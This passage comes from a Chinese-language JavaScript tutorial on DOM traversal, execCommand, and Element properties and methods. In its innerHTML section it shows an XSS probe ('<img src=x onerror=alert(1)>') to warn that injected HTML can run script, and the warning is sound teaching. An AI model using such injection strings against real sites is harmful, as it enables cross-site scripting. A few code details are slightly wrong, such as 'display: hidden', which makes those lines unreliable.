document.createNodeIterator方法第一个参数为所要遍历的根节点,第二个参数为所要遍历的节点类型,这里指定为元素节点(NodeFilter.SHOW_ELEMENT)。几种主要的节点类型写法如下。

  • 所有节点:NodeFilter.SHOW_ALL
  • 元素节点:NodeFilter.SHOW_ELEMENT
  • 文本节点:NodeFilter.SHOW_TEXT
  • 评论节点:NodeFilter.SHOW_COMMENT

document.createNodeIterator方法返回一个“遍历器”对象(NodeFilter实例)。该实例的nextNode()方法和previousNode()方法,可以用来遍历所有子节点。

1
2
3
4
5
6
7
var nodeIterator = document.createNodeIterator(document.body);
var pars = [];
var currentNode;

while (currentNode = nodeIterator.nextNode()) {
pars.push(currentNode);
}

上面代码中,使用遍历器的nextNode方法,将根节点的所有子节点,依次读入一个数组。nextNode方法先返回遍历器的内部指针所在的节点,然后会将指针移向下一个节点。所有成员遍历完成后,返回nullpreviousNode方法则是先将指针移向上一个节点,然后返回该节点。

1
2
3
4
5
6
7
8
9
var nodeIterator = document.createNodeIterator(
document.body,
NodeFilter.SHOW_ELEMENT
);

var currentNode = nodeIterator.nextNode();
var previousNode = nodeIterator.previousNode();

currentNode === previousNode // true

上面代码中,currentNodepreviousNode都指向同一个的节点。

注意,遍历器返回的第一个节点,总是根节点。

1
pars[0] === document.body // true

document.createTreeWalker()

document.createTreeWalker方法返回一个 DOM 的子树遍历器。它与document.createNodeIterator方法基本是类似的,区别在于它返回的是TreeWalker实例,后者返回的是NodeIterator实例。另外,它的第一个节点不是根节点。

document.createTreeWalker方法的第一个参数是所要遍历的根节点,第二个参数指定所要遍历的节点类型(与document.createNodeIterator方法的第二个参数相同)。

1
2
3
4
5
6
7
8
9
10
var treeWalker = document.createTreeWalker(
document.body,
NodeFilter.SHOW_ELEMENT
);

var nodeList = [];

while(treeWalker.nextNode()) {
nodeList.push(treeWalker.currentNode);
}

上面代码遍历<body>节点下属的所有元素节点,将它们插入nodeList数组。

document.execCommand(),document.queryCommandSupported(),document.queryCommandEnabled()

(1)document.execCommand()

如果document.designMode属性设为on,那么整个文档用户可编辑;如果元素的contenteditable属性设为true,那么该元素可编辑。这两种情况下,可以使用document.execCommand()方法,改变内容的样式,比如document.execCommand('bold')会使得字体加粗。

1
document.execCommand(command, showDefaultUI, input)

该方法接受三个参数。

  • command:字符串,表示所要实施的样式。
  • showDefaultUI:布尔值,表示是否要使用默认的用户界面,建议总是设为false
  • input:字符串,表示该样式的辅助内容,比如生成超级链接时,这个参数就是所要链接的网址。如果第二个参数设为true,那么浏览器会弹出提示框,要求用户在提示框输入该参数。但是,不是所有浏览器都支持这样做,为了兼容性,还是需要自己部署获取这个参数的方式。
1
2
3
4
5
var url = window.prompt('请输入网址');

if (url) {
document.execCommand('createlink', false, url);
}

上面代码中,先提示用户输入所要链接的网址,然后手动生成超级链接。注意,第二个参数是false,表示此时不需要自动弹出提示框。

document.execCommand()的返回值是一个布尔值。如果为false,表示这个方法无法生效。

这个方法大部分情况下,只对选中的内容生效。如果有多个内容可编辑区域,那么只对当前焦点所在的元素生效。

document.execCommand()方法可以执行的样式改变有很多种,下面是其中的一些:bold、insertLineBreak、selectAll、createLink、insertOrderedList、subscript、delete、insertUnorderedList、superscript、formatBlock、insertParagraph、undo、forwardDelete、insertText、unlink、insertImage、italic、unselect、insertHTML、redo。这些值都可以用作第一个参数,它们的含义不难从字面上看出来。

(2)document.queryCommandSupported()

document.queryCommandSupported()方法返回一个布尔值,表示浏览器是否支持document.execCommand()的某个命令。

1
2
3
if (document.queryCommandSupported('SelectAll')) {
console.log('浏览器支持选中可编辑区域的所有内容');
}

(3)document.queryCommandEnabled()

document.queryCommandEnabled()方法返回一个布尔值,表示当前是否可用document.execCommand()的某个命令。比如,bold(加粗)命令只有存在文本选中时才可用,如果没有选中文本,就不可用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
// HTML 代码为
// <input type="button" value="Copy" onclick="doCopy()">

function doCopy(){
// 浏览器是否支持 copy 命令(选中内容复制到剪贴板)
if (document.queryCommandSupported('copy')) {
copyText('你好');
}else{
console.log('浏览器不支持');
}
}

function copyText(text) {
var input = document.createElement('textarea');
document.body.appendChild(input);
input.value = text;
input.focus();
input.select();

// 当前是否有选中文字
if (document.queryCommandEnabled('copy')) {
var success = document.execCommand('copy');
input.remove();
console.log('Copy Ok');
} else {
console.log('queryCommandEnabled is false');
}
}

上面代码中,先判断浏览器是否支持copy命令(允许可编辑区域的选中内容,复制到剪贴板),如果支持,就新建一个临时文本框,里面写入内容“你好”,并将其选中。然后,判断是否选中成功,如果成功,就将“你好”复制到剪贴板,再删除那个临时文本框。

document.getSelection()

这个方法指向window.getSelection(),参见window对象一节的介绍。

Element 节点

Element节点对象对应网页的 HTML 元素。每一个 HTML 元素,在 DOM 树上都会转化成一个Element节点对象(以下简称元素节点)。

元素节点的nodeType属性都是1

1
2
3
var p = document.querySelector('p');
p.nodeName // "P"
p.nodeType // 1

Element对象继承了Node接口,因此Node的属性和方法在Element对象都存在。此外,不同的 HTML 元素对应的元素节点是不一样的,浏览器使用不同的构造函数,生成不同的元素节点,比如<a>元素的节点对象由HTMLAnchorElement构造函数生成,<button>元素的节点对象由HTMLButtonElement构造函数生成。因此,元素节点不是一种对象,而是一组对象,这些对象除了继承Element的属性和方法,还有各自构造函数的属性和方法。

实例属性

元素特性的相关属性

(1)Element.id

Element.id属性返回指定元素的id属性,该属性可读写。

1
2
3
// HTML 代码为 <p id="foo">
var p = document.querySelector('p');
p.id // "foo"

注意,id属性的值是大小写敏感,即浏览器能正确识别<p id="foo"><p id="FOO">这两个元素的id属性,但是最好不要这样命名。

(2)Element.tagName

Element.tagName属性返回指定元素的大写标签名,与nodeName属性的值相等。

1
2
3
4
5
// HTML代码为
// <span id="myspan">Hello</span>
var span = document.getElementById('myspan');
span.id // "myspan"
span.tagName // "SPAN"

(3)Element.dir

Element.dir属性用于读写当前元素的文字方向,可能是从左到右("ltr"),也可能是从右到左("rtl")。

(4)Element.accessKey

Element.accessKey属性用于读写分配给当前元素的快捷键。

1
2
3
4
// HTML 代码如下
// <button accesskey="h" id="btn">点击</button>
var btn = document.getElementById('btn');
btn.accessKey // "h"

上面代码中,btn元素的快捷键是h,按下Alt + h就能将焦点转移到它上面。

(5)Element.draggable

Element.draggable属性返回一个布尔值,表示当前元素是否可拖动。该属性可读写。

(6)Element.lang

Element.lang属性返回当前元素的语言设置。该属性可读写。

1
2
3
// HTML 代码如下
// <html lang="en">
document.documentElement.lang // "en"

(7)Element.tabIndex

Element.tabIndex属性返回一个整数,表示当前元素在 Tab 键遍历时的顺序。该属性可读写。

tabIndex属性值如果是负值(通常是-1),则 Tab 键不会遍历到该元素。如果是正整数,则按照顺序,从小到大遍历。如果两个元素的tabIndex属性的正整数值相同,则按照出现的顺序遍历。遍历完所有tabIndex为正整数的元素以后,再遍历所有tabIndex等于0、或者属性值是非法值、或者没有tabIndex属性的元素,顺序为它们在网页中出现的顺序。

(8)Element.title

Element.title属性用来读写当前元素的 HTML 属性title。该属性通常用来指定,鼠标悬浮时弹出的文字提示框。

元素状态的相关属性

(1)Element.hidden

Element.hidden属性返回一个布尔值,表示当前元素的hidden属性,用来控制当前元素是否可见。该属性可读写。

1
2
3
4
5
6
var btn = document.getElementById('btn');
var mydiv = document.getElementById('mydiv');

btn.addEventListener('click', function () {
mydiv.hidden = !mydiv.hidden;
}, false);

注意,该属性与 CSS 设置是互相独立的。CSS 对这个元素可见性的设置,Element.hidden并不能反映出来。也就是说,这个属性并不能用来判断当前元素的实际可见性。

CSS 的设置高于Element.hidden。如果 CSS 指定了该元素不可见(display: none)或可见(display: hidden),那么Element.hidden并不能改变该元素实际的可见性。换言之,这个属性只在 CSS 没有明确设定当前元素的可见性时才有效。

(2)Element.contentEditable,Element.isContentEditable

HTML 元素可以设置contentEditable属性,使得元素的内容可以编辑。

1
<div contenteditable>123</div>

上面代码中,<div>元素有contenteditable属性,因此用户可以在网页上编辑这个区块的内容。

Element.contentEditable属性返回一个字符串,表示是否设置了contenteditable属性,有三种可能的值。该属性可写。

  • "true":元素内容可编辑
  • "false":元素内容不可编辑
  • "inherit":元素是否可编辑,继承了父元素的设置

Element.isContentEditable属性返回一个布尔值,同样表示是否设置了contenteditable属性。该属性只读。

Element.attributes

Element.attributes属性返回一个类似数组的对象,成员是当前元素节点的所有属性节点,详见《属性的操作》一章。

1
2
3
4
5
6
var p = document.querySelector('p');
var attrs = p.attributes;

for (var i = attrs.length - 1; i >= 0; i--) {
console.log(attrs[i].name + '->' + attrs[i].value);
}

上面代码遍历p元素的所有属性。

Element.className,Element.classList

className属性用来读写当前元素节点的class属性。它的值是一个字符串,每个class之间用空格分割。

classList属性返回一个类似数组的对象,当前元素节点的每个class就是这个对象的一个成员。

1
2
3
4
5
6
7
8
9
10
11
12
13
// HTML 代码 <div class="one two three" id="myDiv"></div>
var div = document.getElementById('myDiv');

div.className
// "one two three"

div.classList
// {
// 0: "one"
// 1: "two"
// 2: "three"
// length: 3
// }

上面代码中,className属性返回一个空格分隔的字符串,而classList属性指向一个类似数组的对象,该对象的length属性(只读)返回当前元素的class数量。

classList对象有下列方法。

  • add():增加一个 class。
  • remove():移除一个 class。
  • contains():检查当前元素是否包含某个 class。
  • toggle():将某个 class 移入或移出当前元素。
  • item():返回指定索引位置的 class。
  • toString():将 class 的列表转为字符串。
1
2
3
4
5
6
7
8
9
var div = document.getElementById('myDiv');

div.classList.add('myCssClass');
div.classList.add('foo', 'bar');
div.classList.remove('myCssClass');
div.classList.toggle('myCssClass'); // 如果 myCssClass 不存在就加入,否则移除
div.classList.contains('myCssClass'); // 返回 true 或者 false
div.classList.item(0); // 返回第一个 Class
div.classList.toString();

下面比较一下,classNameclassList在添加和删除某个 class 时的写法。

1
2
3
4
5
6
7
8
9
var foo = document.getElementById('foo');

// 添加class
foo.className += 'bold';
foo.classList.add('bold');

// 删除class
foo.classList.remove('bold');
foo.className = foo.className.replace(/^bold$/, '');

toggle方法可以接受一个布尔值,作为第二个参数。如果为true,则添加该属性;如果为false,则去除该属性。

1
2
3
4
5
6
7
8
el.classList.toggle('abc', boolValue);

// 等同于
if (boolValue) {
el.classList.add('abc');
} else {
el.classList.remove('abc');
}

Element.dataset

网页元素可以自定义data-属性,用来添加数据。

1
<div data-timestamp="1522907809292"></div>

上面代码中,<div>元素有一个自定义的data-timestamp属性,用来为该元素添加一个时间戳。

Element.dataset属性返回一个对象,可以从这个对象读写data-属性。

1
2
3
4
5
6
7
8
9
10
11
// <article
// id="foo"
// data-columns="3"
// data-index-number="12314"
// data-parent="cars">
// ...
// </article>
var article = document.getElementById('foo');
article.dataset.columns // "3"
article.dataset.indexNumber // "12314"
article.dataset.parent // "cars"

注意,dataset上面的各个属性返回都是字符串。

HTML 代码中,data-属性的属性名,只能包含英文字母、数字、连词线(-)、点(.)、冒号(:)和下划线(_)。它们转成 JavaScript 对应的dataset属性名,规则如下。

  • 开头的data-会省略。
  • 如果连词线后面跟了一个英文字母,那么连词线会取消,该字母变成大写。
  • 其他字符不变。

因此,data-abc-def对应dataset.abcDefdata-abc-1对应dataset["abc-1"]

除了使用dataset读写data-属性,也可以使用Element.getAttribute()Element.setAttribute(),通过完整的属性名读写这些属性。

1
2
3
4
var mydiv = document.getElementById('mydiv');

mydiv.dataset.foo = 'bar';
mydiv.getAttribute('data-foo') // "bar"

Element.innerHTML

Element.innerHTML属性返回一个字符串,等同于该元素包含的所有 HTML 代码。该属性可读写,常用来设置某个节点的内容。它能改写所有元素节点的内容,包括<HTML><body>元素。

如果将innerHTML属性设为空,等于删除所有它包含的所有节点。

1
el.innerHTML = '';

上面代码等于将el节点变成了一个空节点,el原来包含的节点被全部删除。

注意,读取属性值的时候,如果文本节点包含&、小于号(<)和大于号(>),innerHTML属性会将它们转为实体形式&amp;&lt;&gt;。如果想得到原文,建议使用element.textContent属性。

1
2
3
// HTML代码如下 <p id="para"> 5 > 3 </p>
document.getElementById('para').innerHTML
// 5 &gt; 3

写入的时候,如果插入的文本包含 HTML 标签,会被解析成为节点对象插入 DOM。注意,如果文本之中含有<script>标签,虽然可以生成script节点,但是插入的代码不会执行。

1
2
var name = "<script>alert('haha')</script>";
el.innerHTML = name;

上面代码将脚本插入内容,脚本并不会执行。但是,innerHTML还是有安全风险的。

1
2
var name = "<img src=x onerror=alert(1)>";
el.innerHTML = name;

上面代码中,alert方法是会执行的。因此为了安全考虑,如果插入的是文本,最好用textContent属性代替innerHTML

Element.outerHTML

Element.outerHTML属性返回一个字符串,表示当前元素节点的所有 HTML 代码,包括该元素本身和所有子元素。

1
2
3
4
5
// HTML 代码如下
// <div id="d"><p>Hello</p></div>
var d = document.getElementById('d');
d.outerHTML
// '<div id="d"><p>Hello</p></div>'

outerHTML属性是可读写的,对它进行赋值,等于替换掉当前元素。

1
2
3
4
5
6
7
8
9
10
// HTML 代码如下
// <div id="container"><div id="d">Hello</div></div>
var container = document.getElementById('container');
var d = document.getElementById('d');
container.firstChild.nodeName // "DIV"
d.nodeName // "DIV"

d.outerHTML = '<p>Hello</p>';
container.firstChild.nodeName // "P"
d.nodeName // "DIV"

上面代码中,变量d代表子节点,它的outerHTML属性重新赋值以后,内层的div元素就不存在了,被p元素替换了。但是,变量d依然指向原来的div元素,这表示被替换的DIV元素还存在于内存中。

注意,如果一个节点没有父节点,设置outerHTML属性会报错。

1
2
3
var div = document.createElement('div');
div.outerHTML = '<p>test</p>';
// DOMException: This element has no parent node.

上面代码中,div元素没有父节点,设置outerHTML属性会报错。

Element.clientHeight,Element.clientWidth

Element.clientHeight属性返回一个整数值,表示元素节点的 CSS 高度(单位像素),只对块级元素生效,对于行内元素返回0。如果块级元素没有设置 CSS 高度,则返回实际高度。

除了元素本身的高度,它还包括padding部分,但是不包括bordermargin。如果有水平滚动条,还要减去水平滚动条的高度。注意,这个值始终是整数,如果是小数会被四舍五入。

Element.clientWidth属性返回元素节点的 CSS 宽度,同样只对块级元素有效,也是只包括元素本身的宽度和padding,如果有垂直滚动条,还要减去垂直滚动条的宽度。

document.documentElementclientHeight属性,返回当前视口的高度(即浏览器窗口的高度),等同于window.innerHeight属性减去水平滚动条的高度(如果有的话)。document.body的高度则是网页的实际高度。一般来说,document.body.clientHeight大于document.documentElement.clientHeight

1
2
3
4
5
// 视口高度
document.documentElement.clientHeight

// 网页总高度
document.body.clientHeight

Element.clientLeft,Element.clientTop

Element.clientLeft属性等于元素节点左边框(left border)的宽度(单位像素),不包括左侧的paddingmargin。如果没有设置左边框,或者是行内元素(display: inline),该属性返回0。该属性总是返回整数值,如果是小数,会四舍五入。

Element.clientTop属性等于网页元素顶部边框的宽度(单位像素),其他特点都与clientLeft相同。

Element.scrollHeight,Element.scrollWidth

Element.scrollHeight属性返回一个整数值(小数会四舍五入),表示当前元素的总高度(单位像素),包括溢出容器、当前不可见的部分。它包括padding,但是不包括bordermargin以及水平滚动条的高度(如果有水平滚动条的话),还包括伪元素(::before::after)的高度。

Element.scrollWidth属性表示当前元素的总宽度(单位像素),其他地方都与scrollHeight属性类似。这两个属性只读。

整张网页的总高度可以从document.documentElementdocument.body上读取。

1
2
3
// 返回网页的总高度
document.documentElement.scrollHeight
document.body.scrollHeight

注意,如果元素节点的内容出现溢出,即使溢出的内容是隐藏的,scrollHeight属性仍然返回元素的总高度。

1
2
3
// HTML 代码如下
// <div id="myDiv" style="height: 200px; overflow: hidden;">...<div>
document.getElementById('myDiv').scrollHeight // 356

上面代码中,即使myDiv元素的 CSS 高度只有200像素,且溢出部分不可见,但是scrollHeight仍然会返回该元素的原始高度。

Element.scrollLeft,Element.scrollTop

Element.scrollLeft属性表示当前元素的水平滚动条向右侧滚动的像素数量,Element.scrollTop属性表示当前元素的垂直滚动条向下滚动的像素数量。对于那些没有滚动条的网页元素,这两个属性总是等于0。

如果要查看整张网页的水平的和垂直的滚动距离,要从document.documentElement元素上读取。

1
2
document.documentElement.scrollLeft
document.documentElement.scrollTop

这两个属性都可读写,设置该属性的值,会导致浏览器将当前元素自动滚动到相应的位置。

Element.offsetParent

Element.offsetParent属性返回最靠近当前元素的、并且 CSS 的position属性不等于static的上层元素。

1
2
3
4
5
<div style="position: absolute;">
<p>
<span>Hello</span>
</p>
</div>

上面代码中,span元素的offsetParent属性就是div元素。

该属性主要用于确定子元素位置偏移的计算基准,Element.offsetTopElement.offsetLeft就是offsetParent元素计算的。

如果该元素是不可见的(display属性为none),或者位置是固定的(position属性为fixed),则offsetParent属性返回null

1
2
3
4
5
<div style="position: absolute;">
<p>
<span style="display: none;">Hello</span>
</p>
</div>

上面代码中,span元素的offsetParent属性是null

如果某个元素的所有上层节点的position属性都是static,则Element.offsetParent属性指向<body>元素。

Element.offsetHeight,Element.offsetWidth

Element.offsetHeight属性返回一个整数,表示元素的 CSS 垂直高度(单位像素),包括元素本身的高度、padding 和 border,以及水平滚动条的高度(如果存在滚动条)。

Element.offsetWidth属性表示元素的 CSS 水平宽度(单位像素),其他都与Element.offsetHeight一致。

这两个属性都是只读属性,只比Element.clientHeightElement.clientWidth多了边框的高度或宽度。如果元素的 CSS 设为不可见(比如display: none;),则返回0

Element.offsetLeft,Element.offsetTop

Element.offsetLeft返回当前元素左上角相对于Element.offsetParent节点的水平位移,Element.offsetTop返回垂直位移,单位为像素。通常,这两个值是指相对于父节点的位移。

下面的代码可以算出元素左上角相对于整张网页的坐标。

1
2
3
4
5
6
7
8
9
10
function getElementPosition(e) {
var x = 0;
var y = 0;
while (e !== null) {
x += e.offsetLeft;
y += e.offsetTop;
e = e.offsetParent;
}
return {x: x, y: y};
}

Element.style

每个元素节点都有style用来读写该元素的行内样式信息,具体介绍参见《CSS 操作》一章。

Element.children,Element.childElementCount

Element.children属性返回一个类似数组的对象(HTMLCollection实例),包括当前元素节点的所有子元素。如果当前元素没有子元素,则返回的对象包含零个成员。

1
2
3
4
5
6
if (para.children.length) {
var children = para.children;
for (var i = 0; i < children.length; i++) {
// ...
}
}

上面代码遍历了para元素的所有子元素。

这个属性与Node.childNodes属性的区别是,它只包括元素类型的子节点,不包括其他类型的子节点。

Element.childElementCount属性返回当前元素节点包含的子元素节点的个数,与Element.children.length的值相同。

Element.firstElementChild,Element.lastElementChild

Element.firstElementChild属性返回当前元素的第一个元素子节点,Element.lastElementChild返回最后一个元素子节点。

如果没有元素子节点,这两个属性返回null

Element.nextElementSibling,Element.previousElementSibling

Element.nextElementSibling属性返回当前元素节点的后一个同级元素节点,如果没有则返回null

1
2
3
4
5
6
// HTML 代码如下
// <div id="div-01">Here is div-01</div>
// <div id="div-02">Here is div-02</div>
var el = document.getElementById('div-01');
el.nextElementSibling
// <div id="div-02">Here is div-02</div>

Element.previousElementSibling属性返回当前元素节点的前一个同级元素节点,如果没有则返回null

实例方法

属性相关方法

元素节点提供六个方法,用来操作属性。

  • getAttribute():读取某个属性的值
  • getAttributeNames():返回当前元素的所有属性名
  • setAttribute():写入属性值
  • hasAttribute():某个属性是否存在
  • hasAttributes():当前元素是否有属性
  • removeAttribute():删除属性

这些方法的介绍请看《属性的操作》一章。

Element.querySelector()

Element.querySelector方法接受 CSS 选择器作为参数,返回父元素的第一个匹配的子元素。如果没有找到匹配的子元素,就返回null

1
2
var content = document.getElementById('content');
var el = content.querySelector('p');

上面代码返回content节点的第一个p元素。

Element.querySelector方法可以接受任何复杂的 CSS 选择器。

1
document.body.querySelector("style[type='text/css'], style:not([type])");

注意,这个方法无法选中伪元素。

它可以接受多个选择器,它们之间使用逗号分隔。

1
element.querySelector('div, p')

上面代码返回element的第一个divp子元素。

需要注意的是,浏览器执行querySelector方法时,是先在全局范围内搜索给定的 CSS 选择器,然后过滤出哪些属于当前元素的子元素。因此,会有一些违反直觉的结果,下面是一段 HTML 代码。

1
2
3
4
5
6
7
8
<div>
<blockquote id="outer">
<p>Hello</p>
<div id="inner">
<p>World</p>
</div>
</blockquote>
</div>

那么,像下面这样查询的话,实际上返回的是第一个p元素,而不是第二个。

1
2
3
var outer = document.getElementById('outer');
outer.querySelector('div p')
// <p>Hello</p>

Element.querySelectorAll()

Element.querySelectorAll方法接受 CSS 选择器作为参数,返回一个NodeList实例,包含所有匹配的子元素。

1
2
var el = document.querySelector('#test');
var matches = el.querySelectorAll('div.highlighted > p');

该方法的执行机制与querySelector方法相同,也是先在全局范围内查找,再过滤出当前元素的子元素。因此,选择器实际上针对整个文档的。

它也可以接受多个 CSS 选择器,它们之间使用逗号分隔。如果选择器里面有伪元素的选择器,则总是返回一个空的NodeList实例。

Element.getElementsByClassName()

Element.getElementsByClassName方法返回一个HTMLCollection实例,成员是当前元素节点的所有具有指定 class 的子元素节点。该方法与document.getElementsByClassName方法的用法类似,只是搜索范围不是整个文档,而是当前元素节点。

1
element.getElementsByClassName('red test');

注意,该方法的参数大小写敏感。

由于HTMLCollection实例是一个活的集合,document对象的任何变化会立刻反应到实例,下面的代码不会生效。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// HTML 代码如下
// <div id="example">
// <p class="foo"></p>
// <p class="foo"></p>
// </div>
var element = document.getElementById('example');
var matches = element.getElementsByClassName('foo');

for (var i = 0; i< matches.length; i++) {
matches[i].classList.remove('foo');
matches.item(i).classList.add('bar');
}
// 执行后,HTML 代码如下
// <div id="example">
// <p></p>
// <p class="foo bar"></p>
// </div>

上面代码中,matches集合的第一个成员,一旦被拿掉 class 里面的foo,就会立刻从matches里面消失,导致出现上面的结果。

Element.getElementsByTagName()

Element.getElementsByTagName方法返回一个HTMLCollection实例,成员是当前节点的所有匹配指定标签名的子元素节点。该方法与document.getElementsByClassName方法的用法类似,只是搜索范围不是整个文档,而是当前元素节点。

1
2
var table = document.getElementById('forecast-table');
var cells = table.getElementsByTagName('td');

注意,该方法的参数是大小写不敏感的。

Element.closest()

Element.closest方法接受一个 CSS 选择器作为参数,返回匹配该选择器的、最接近当前节点的一个祖先节点(包括当前节点本身)。如果没有任何节点匹配 CSS 选择器,则返回null

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// HTML 代码如下
// <article>
// <div id="div-01">Here is div-01
// <div id="div-02">Here is div-02
// <div id="div-03">Here is div-03</div>
// </div>
// </div>
// </article>

var div03 = document.getElementById('div-03');

// div-03 最近的祖先节点
div03.closest("#div-02") // div-02
div03.closest("div div") // div-03
div03.closest("article > div") //div-01
div03.closest(":not(div)") // article

上面代码中,由于closest方法将当前节点也考虑在内,所以第二个closest方法返回div-03

Element.matches()

Element.matches方法返回一个布尔值,表示当前元素是否匹配给定的 CSS 选择器。

1
2
3
if (el.matches('.someClass')) {
console.log('Match!');
}

事件相关方法

以下三个方法与Element节点的事件相关。这些方法都继承自EventTarget接口,详见相关章节。

  • Element.addEventListener():添加事件的回调函数
  • Element.removeEventListener():移除事件监听函数
  • Element.dispatchEvent():触发事件
1
2
3
4
5
element.addEventListener('click', listener, false);
element.removeEventListener('click', listener, false);

var event = new Event('click');
element.dispatchEvent(event);

Element.scrollIntoView()

Element.scrollIntoView方法滚动当前元素,进入浏览器的可见区域,类似于设置window.location.hash的效果。

1
2
el.scrollIntoView(); // 等同于el.scrollIntoView(true)
el.scrollIntoView(false);

该方法可以接受一个布尔值作为参数。如果为true,表示元素的顶部与当前区域的可见部分的顶部对齐(前提是当前区域可滚动);如果为false,表示元素的底部与当前区域的可见部分的尾部对齐(前提是当前区域可滚动)。如果没有提供该参数,默认为true

Element.getBoundingClientRect()

Element.getBoundingClientRect方法返回一个对象,提供当前元素节点的大小、位置等信息,基本上就是 CSS 盒状模型的所有信息。

1
var rect = obj.getBoundingClientRect();

上面代码中,getBoundingClientRect方法返回的rect对象,具有以下属性(全部为只读)。

  • x:元素左上角相对于视口的横坐标
  • y:元素左上角相对于视口的纵坐标
  • height:元素高度
  • width:元素宽度
  • left:元素左上角相对于视口的横坐标,与x属性相等
  • right:元素右边界相对于视口的横坐标(等于x + width
  • top:元素顶部相对于视口的纵坐标,与y属性相等
  • bottom:元素底部相对于视口的纵坐标(等于y + height

由于元素相对于视口(viewport)的位置,会随着页面滚动变化,因此表示位置的四个属性值,都不是固定不变的。如果想得到绝对位置,可以将left属性加上window.scrollXtop属性加上window.scrollY

注意,getBoundingClientRect方法的所有属性,都把边框(border属性)算作元素的一部分。也就是说,都是从边框外缘的各个点来计算。因此,widthheight包括了元素本身 + padding + border

另外,上面的这些属性,都是继承自原型的属性,Object.keys会返回一个空数组,这一点也需要注意。

1
2
var rect = document.body.getBoundingClientRect();
Object.keys(rect) // []

上面代码中,rect对象没有自身属性,而Object.keys方法只返回对象自身的属性,所以返回了一个空数组。

Element.getClientRects()

Element.getClientRects方法返回一个类似数组的对象,里面是当前元素在页面上形成的所有矩形(所以方法名中的Rect用的是复数)。每个矩形都有bottomheightleftrighttopwidth六个属性,表示它们相对于视口的四个坐标,以及本身的高度和宽度。

对于盒状元素(比如<div><p>),该方法返回的对象中只有该元素一个成员。对于行内元素(比如<span><a><em>),该方法返回的对象有多少个成员,取决于该元素在页面上占据多少行。这是它和Element.getBoundingClientRect()方法的主要区别,后者对于行内元素总是返回一个矩形。

1
<span id="inline">Hello World Hello World Hello World</span>

上面代码是一个行内元素<span>,如果它在页面上占据三行,getClientRects方法返回的对象就有三个成员,如果它在页面上占据一行,getClientRects方法返回的对象就只有一个成员。

1
2
3
4
5
6
7
var el = document.getElementById('inline');
el.getClientRects().length // 3
el.getClientRects()[0].left // 8
el.getClientRects()[0].right // 113.908203125
el.getClientRects()[0].bottom // 31.200000762939453
el.getClientRects()[0].height // 23.200000762939453
el.getClientRects()[0].width // 105.908203125

这个方法主要用于判断行内元素是否换行,以及行内元素的每一行的位置偏移。

注意,如果行内元素包括换行符,那么该方法会把换行符考虑在内。

1
2
3
4
5
<span id="inline">
Hello World
Hello World
Hello World
</span>

上面代码中,<span>节点内部有三个换行符,即使 HTML 语言忽略换行符,将它们显示为一行,getClientRects()方法依然会返回三个成员。如果行宽设置得特别窄,上面的<span>元素显示为6行,那么就会返回六个成员。

Element.insertAdjacentElement()

Element.insertAdjacentElement方法在相对于当前元素的指定位置,插入一个新的节点。该方法返回被插入的节点,如果插入失败,返回null

1
element.insertAdjacentElement(position, element);

Element.insertAdjacentElement方法一共可以接受两个参数,第一个参数是一个字符串,表示插入的位置,第二个参数是将要插入的节点。第一个参数只可以取如下的值。

  • beforebegin:当前元素之前
  • afterbegin:当前元素内部的第一个子节点前面
  • beforeend:当前元素内部的最后一个子节点后面
  • afterend:当前元素之后

注意,beforebeginafterend这两个值,只在当前节点有父节点时才会生效。如果当前节点是由脚本创建的,没有父节点,那么插入会失败。

1
2
3
var p1 = document.createElement('p')
var p2 = document.createElement('p')
p1.insertAdjacentElement('afterend', p2) // null

上面代码中,p1没有父节点,所以插入p2到它后面就失败了。

如果插入的节点是一个文档里现有的节点,它会从原有位置删除,放置到新的位置。

Element.insertAdjacentHTML(),Element.insertAdjacentText()

Element.insertAdjacentHTML方法用于将一个 HTML 字符串,解析生成 DOM 结构,插入相对于当前节点的指定位置。

1
element.insertAdjacentHTML(position, text);

该方法接受两个参数,第一个是一个表示指定位置的字符串,第二个是待解析的 HTML 字符串。第一个参数只能设置下面四个值之一。

  • beforebegin:当前元素之前
  • afterbegin:当前元素内部的第一个子节点前面
  • beforeend:当前元素内部的最后一个子节点后面
  • afterend:当前元素之后
1
2
3
4
5
// HTML 代码:<div id="one">one</div>
var d1 = document.getElementById('one');
d1.insertAdjacentHTML('afterend', '<div id="two">two</div>');
// 执行后的 HTML 代码:
// <div id="one">one</div><div id="two">two</div>

该方法只是在现有的 DOM 结构里面插入节点,这使得它的执行速度比innerHTML方法快得多。

注意,该方法不会转义 HTML 字符串,这导致它不能用来插入用户输入的内容,否则会有安全风险。

Element.insertAdjacentText方法在相对于当前节点的指定位置,插入一个文本节点,用法与Element.insertAdjacentHTML方法完全一致。

1
2
3
4
5
// HTML 代码:<div id="one">one</div>
var d1 = document.getElementById('one');
d1.insertAdjacentText('afterend', 'two');
// 执行后的 HTML 代码:
// <div id="one">one</div>two

Element.remove()

Element.remove方法继承自 ChildNode 接口,用于将当前元素节点从它的父节点移除。

1
2
var el = document.getElementById('mydiv');
el.remove();

上面代码将el节点从 DOM 树里面移除。

Element.focus(),Element.blur()

Element.focus方法用于将当前页面的焦点,转移到指定元素上。

1
document.getElementById('my-span').focus();

该方法可以接受一个对象作为参数。参数对象的preventScroll属性是一个布尔值,指定是否将当前元素停留在原始位置,而不是滚动到可见区域。

1
2
3
function getFocus() {
document.getElementById('btn').focus({preventScroll:false});
}

上面代码会让btn元素获得焦点,并滚动到可见区域。

最后,从document.activeElement属性可以得到当前获得焦点的元素。

Element.blur方法用于将焦点从当前元素移除。

Element.click()

Element.click方法用于在当前元素上模拟一次鼠标点击,相当于触发了click事件。

参考链接

属性的操作

HTML 元素包括标签名和若干个键值对,这个键值对就称为“属性”(attribute)。

1
2
3
<a id="test" href="http://www.example.com">
链接
</a>

上面代码中,a元素包括两个属性:id属性和href属性。

属性本身是一个对象(Attr对象),但是实际上,这个对象极少使用。一般都是通过元素节点对象(HTMlElement对象)来操作属性。本章介绍如何操作这些属性。

Element.attributes 属性

元素对象有一个attributes属性,返回一个类似数组的动态对象,成员是该元素标签的所有属性节点对象,属性的实时变化都会反映在这个节点对象上。其他类型的节点对象,虽然也有attributes属性,但返回的都是null,因此可以把这个属性视为元素对象独有的。

单个属性可以通过序号引用,也可以通过属性名引用。

1
2
3
4
5
// HTML 代码如下
// <body bgcolor="yellow" onload="">
document.body.attributes[0]
document.body.attributes.bgcolor
document.body.attributes['ONLOAD']

注意,上面代码的三种方法,返回的都是属性节点对象,而不是属性值。

